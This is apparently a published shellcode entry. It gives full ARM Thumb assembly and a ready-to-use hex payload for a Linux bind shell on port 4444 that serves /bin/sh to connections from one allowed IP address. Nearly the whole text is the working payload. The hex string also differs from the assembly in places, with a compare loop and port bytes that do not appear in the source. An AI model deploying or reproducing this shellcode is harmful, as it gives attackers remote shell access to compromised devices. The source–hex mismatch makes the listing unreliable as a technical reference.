Linux/ARM - Bind TCP (4444/TCP) Shell (/bin/sh) + IP Controlled (192.168.1.190) + Null-Free Shellcod

/*
* Title:  Linux/ARM - IP Controlled Bind Shell TCP (/bin/sh). Null free shellcode (168 bytes)
* Date:   2018-02-17
* Tested: armv7l (Raspberry Pi v3) and armv6l (Raspberry Pi Zero W)
* Author: rtmcx - twitter: @rtmcx
* Description: The shellcode will only allow the connection to execute the shell if originating from the allowed IP.
*     Otherwise, the connection is dropped and the shellcode will wait for a new connection.
*/

.section .text

.global _start
_start:
 /* Enter Thumb mode */
 .ARM
 add r3, pc, #1
 bx r3

 .THUMB
 nop       // nop needed for address alignment

/* Create a new socket*/
 mov  r0, #2    // Add values for 
 mov  r1, #1    // socket creation
 eor  r2, r2, r2   // Zero out r2
 mov  r7, #200   // Put 281 in r7 ...
 add  r7, #81    // ...in a 2-step fashion
 svc  #1     // Execute syscall

 /* The new socket will be returned in r0, which will be used later, i
    so save the new socket to another register (r4). */
 mov r4, r0     // Save socket in r4

/* Bind socket */
 adr  r1, struct_addr  // address to string "1,1,1,1"
 strb r2, [r1, #1]  // replace to 0 for AF_INET
  str  r2, [r1, #4]   // write 0.0.0.0 to r2
 mov  r2, #16    // address length str r2, [r1, #4]
 add  r7, #1    // r7 already contains 281
 svc  #1     // Execute syscall

/* Listen for connections */
 mov  r0, r4   // r4 has saved sock_fd
 mov  r1, #2   // Backlog value
 add  r7, #2   // r7 already contains 282
 svc  #1

/* Accept incomming connections */
accept:
 mov  r0, r4    // r4 has saved sock_fd
 mov  r8, r4    // Save srv-socket in r8
 eor  r5, r5, r5   // Get some NULLs
 adr  r1, struct_client_addr  // Put address of struct_client in r1
 strb r5, [r1, #1]  // replace 0 for AF_INET
 adr  r2, addr_len  // Address to variable for addr_len
 add  r7, #1    // r7 already contains 284
 svc  #1

 mov  r4, r0    // save client_sock in r8

 /* Compare the clients ip against the allowed..*/
 adr     r5, client_ip  // Save the address to the clients IP in r5
 adr  r1, allowed_ip  // Save the address to the allowed IP in r1

 ldr     r3, [r1]   // Load the client IP value into r3
 ldr     r2, [r5]   // Load one allowed IP value into r2

 cmp  r2, r3    // compare the bytes
 bne  close    // Not same, close the connection

 

/* IP Address match */
/* Duplicate STDIN, STDOUT and STERR*/
 mov  r0, r4    // Saved sockfd
 eor  r1, r1, r1   // Zero r1 for STDIN
 mov  r7, #63    // Syscall for dup2
 svc  #1     // Execute syscall

 mov  r0, r4    // Saved sockfd
 add  r1, #1    // STDOUT
 svc  #1     // Execute syscall

 mov  r0, r4    // Saved sockfd
 add  r1, #1    // STDERR
 svc  #1     // Execute syscall

/* Execute shell */
 adr  r0, shellcode  // address to "/bin/sh"
 eor r1, r1, r1    // zero out r1
 eor r2, r2, r2    // and r2
 strb r2, [r0, #7]  // Replace 'X' with NULL
 mov r7, #11     // Syscall for execve
 svc  #1

/* Close current connection (used if connection is from unallowed IP) */
close:
 mov  r0, r4    // Put saved client sockfd into r0
 mov  r7, #6    // Syscall number for "close"
 svc  #1     // Execute syscall

 /* r7 now contains 6, so we must restore the value to 284 (accept will add 1 to get the correct value)*/
 mov  r7, #200   // Put 284 in r7 ...
 add  r7, #84    // ...in a 2-step way
 mov  r4, r8    // Restore saved sock_fd to r4
 b  accept    // After we closed the connection,
        // wait for a new connection

/* Structs and variables */

struct_client_addr:
 .ascii "\x02\xff"   // AF_INET 0xff will be NULLed
 .ascii "\x11\x11"   // Client port number
client_ip:
 .byte 2,2,2,2    // Client IP Address (8 byte)

struct_addr:
 .ascii "\x02\xff"   // AF_INET 0xff will be NULLed
 .ascii "\x11\x5c"   // Port number 4444
 .byte 1,1,1,1    // IP Address (8 byte)

shellcode:
 .ascii "/bin/shX"

allowed_ip:
 .ascii "\xc0\xa8\x01\xbe" // The allowed IP (192.168.1.190)

addr_len:
 .ascii "\x10\x10"   // accept() must have the length of the struct in a variable

/*
Compile and link with:
# as -o shellcode.o shellcode.s
# ld -N shellcode.o -o shellcode

\x01\x30\x8f\xe2\x13\xff\x2f\xe1\xc0\x46\x02\x20\x01\x21\x52\x40\xc8\x27\x51\x37\x01\xdf\x04\x1c
\x1d\xa1\x4a\x70\x4a\x60\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\xa0\x46
\x6d\x40\x15\xa1\x4d\x70\x1b\xa2\x01\x37\x01\xdf\x04\x1c\x5b\x40\x52\x40\x12\xa5\x16\xa1\x05\x26
\x0b\x78\x2a\x78\x9a\x42\x14\xd1\x01\x35\x01\x31\x01\x3e\x01\x2e\xf6\xd1\x20\x1c\x49\x40\x3f\x27
\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x0a\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27
\x01\xdf\x20\x1c\x06\x27\x01\xdf\xc8\x27\x54\x37\x44\x46\xd1\xe7\x02\xff\x11\x5c\x02\x02\x02\x02
\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58\xc0\xa8\x01\xbe\x10\x10\xc0\x46

*/